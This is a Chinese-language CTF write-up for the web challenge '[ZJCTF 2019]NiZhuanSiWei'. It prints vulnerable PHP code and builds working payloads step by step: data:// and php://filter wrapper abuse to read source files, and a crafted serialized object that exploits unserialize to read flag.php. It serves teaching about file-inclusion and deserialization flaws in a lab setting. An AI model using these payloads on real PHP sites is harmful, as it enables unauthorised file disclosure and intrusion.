[ZJCTF 2019]NiZhuanSiWei
目录
题目:buu上的web题目,链接
题目:这个题目跟文件包含漏洞关联很大,通过这个题目,再巩固一下文件包含漏洞。
解题过程:
打开题目后,代码审计
<?php
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php
$password = unserialize($password);
echo $password;
}
}
else{
highlight_file(__FILE__);
}
?>
第一层绕过:
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf"))
要求我们传入一个text文件,内容为welcome to the zjctf,才能继续后面的步骤
先了解一下file_get_contents()函数,函数内容来源于网络
可以用php://input伪协议以POST传参'welcome to the zjctf '
也可以将文件内容通过data伪协议写进去,然后让file_get_contents()函数进行读取,payload如下
?text=data://text/plain,welcome to the zjctf
当然,保险起见还是应该将welcome to the zjctf进行base64编码然后再进行上传,不然可能会过滤(不过本题没有过滤)
编码后的传参
?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=
回显:
第二层绕过:
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php
$password = unserialize($password);
echo $password;
}
正则过滤掉flag,而题目又提示了useless.php,所以用php://filter协议来读取useless.php,payload如下:
?text=data://text/plain,welcome to the zjctf&file=php://filter/read=convert.base64-encode/resource=useless.php
回显:
第三层绕过:
将base64编码进行解码:
<?php
class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>
在本地进行序列化操作,
<?php
class Flag{ //flag.php
public $file="flag.php";
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
$a=new Flag();
echo serialize($a);
?>
序列化之后:
O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
最终的payload:
?text=data://text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
回显:
查看f12得到flag.
相关链接:
1.文件包含漏洞